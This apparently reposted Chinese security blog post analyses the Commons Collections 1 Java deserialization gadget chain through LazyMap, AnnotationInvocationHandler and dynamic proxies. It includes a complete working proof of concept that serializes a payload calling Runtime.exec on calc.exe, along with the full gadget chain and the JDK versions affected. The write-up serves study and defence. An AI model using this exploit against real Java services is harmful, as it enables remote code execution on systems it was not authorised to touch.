Java安全之Commons Collections1分析(三)


Java安全之Commons Collections1分析(三)

0x00 前言

繼續來分析cc鏈,用了前面幾篇文章來鋪墊了一些知識。在上篇文章里,其實是硬看代碼,並沒有去調試。因為一直找不到JDK的低版本。 全靠腦子去記傳參內容嘗試理解。后面的其實就簡單多了,在上篇文章的基礎上再去做一個分析。

  1. Java安全之URLDNS鏈

  2. Java安全之Commons Collections1分析前置知識

  3. Java安全之Commons Collections1分析(一)

  4. Java安全之Commons Collections1分析(二)

0x01 CC鏈的另一種構造方式

上篇文章說到使用LazyMapget方法也可以去觸發命令執行。因為LazyMapget方法在

這里看到this.factory變量會去調用transform方法。前面也分析了該類構造方法是一個protected修飾的。不可被直接new。需要使用decorate工廠方法去提供。那么在前面我們調用該方法並傳入innerMaptransformerChain參數。

這里的innerMap是一個Map的對象,transformerChain是一個ChainedTransformer修飾過的Transformer[]數組。

Map tmpmap = LazyMap.decorate(innerMap, transformerChain);

傳入過后,LazyMapget方法方法里面的this.factoryTransformer[]數組,這時候去調用就會執行transform方法,而ChainedTransformertransform方法又會去遍歷調用Transformer[]里面的transform方法,導致使用方式的方式傳入的Runtime調用了exec執行了calc.exe彈出一個計算器。

當然在實際中,我們還需要借助其他的類去調用這個get方法。

而在AnnotationInvocationHandlerinvoke就會去調用get方法。

 public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            byte var7 = -1;
            switch(var4.hashCode()) {
            case -1776922004:
                if (var4.equals("toString")) {
                    var7 = 0;
                }
                break;
            case 147696667:
                if (var4.equals("hashCode")) {
                    var7 = 1;
                }
                break;
            case 1444986633:
                if (var4.equals("annotationType")) {
                    var7 = 2;
                }
            }

            switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }

這里特地標出來

Object var6 = this.memberValues.get(var4);

前面說過 構造方法傳入的是transformerChain this.memberValues=transformerChain this.memberValues 是一個ChainedTransformer修飾過的Transformer[]數組。這時候調用getget方法調用transform,又回到了剛剛的話題上了。

AnnotationInvocationHandlerinvoke怎么去調用呢?

在這里會使用到動態代理的方式去調用到該方法。關於動態代理可以參考該篇文章動態代理機制

0x02 動態代理

關於動態代理,在這里其實還是有必要單獨拿出來說一下動態代理這個機制。

動態代理的實現:

Proxy.newProxyInstance(Person.class.getClassLoader(), Class<?>[]interfaces,InvocationHandler h)
  • 第一個參數:People.getClass().getClassLoader(),使用handler對象的
    classloader對象來加載我們的代理對象

  • 第二個參數:Person.getClass().getInterfaces(),這里為代理類提供的接口 是真實對象實現的接口,這樣代理對象就能像真實對象一樣調用接口中的所有方法

  • 第三個參數:我們將代理對象關聯到上面的InvocationHandler對象上

0x03 POC 分析

public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz =
                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
                Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
        oos.writeObject(handler);
        
    }

主要是來看這一段代碼

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

這里的handler是反射創建的一個 AnnotationInvocationHandler類。而AnnotationInvocationHandler中實現了InvocationHandler接口,可以直接作為調用處理器傳入。

那么在這段poc的執行中執行反序列化的時候,AnnotationInvocationHandler重寫了readObject()方法,所以調用的是AnnotationInvocationHandlerreadObject()方法。readObject()方法會去調用memberValues的entrySet()方法。這里的memberValues是構造方法傳入進來的參數,我們是使用反射的方式對他進行創建傳入的是proxyMap

對應的代碼:

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

因為proxyMap是我們的代理對象,所以調用proxyMapentrySet()會觸發到AnnotationInvocationHandlerinvoke()方法進行執行。這也是動態代理的一個特性,代理對象調用任意方法,調用處理器中的invoke()方法都執行一次。

執行AnnotationInvocationHandlerinvoke()方法后又會調用get方法,再次回到剛剛的地方了。

LazyMapget方法方法里面的this.factoryTransformer[]數組,這時候去調用就會執行transform方法,而ChainedTransformertransform方法又會去遍歷調用Transformer[]里面的transform方法,導致使用方式的方式傳入的Runtime調用了exec執行了calc.exe彈出一個計算器。

那么就剛好對應了前面標出來的一個利用鏈

Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

0x04 結尾

在CC1這條鏈里面其實是有版本限制的,在高版本無法使用。因為AnnotationInvocationHandlerreadObject()復寫點這個地方在高版本中是進行了改動。在其他大佬測試中jdk1.7u21、jdk1.8_101、jdk1.8_171這幾個版本是可用的。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM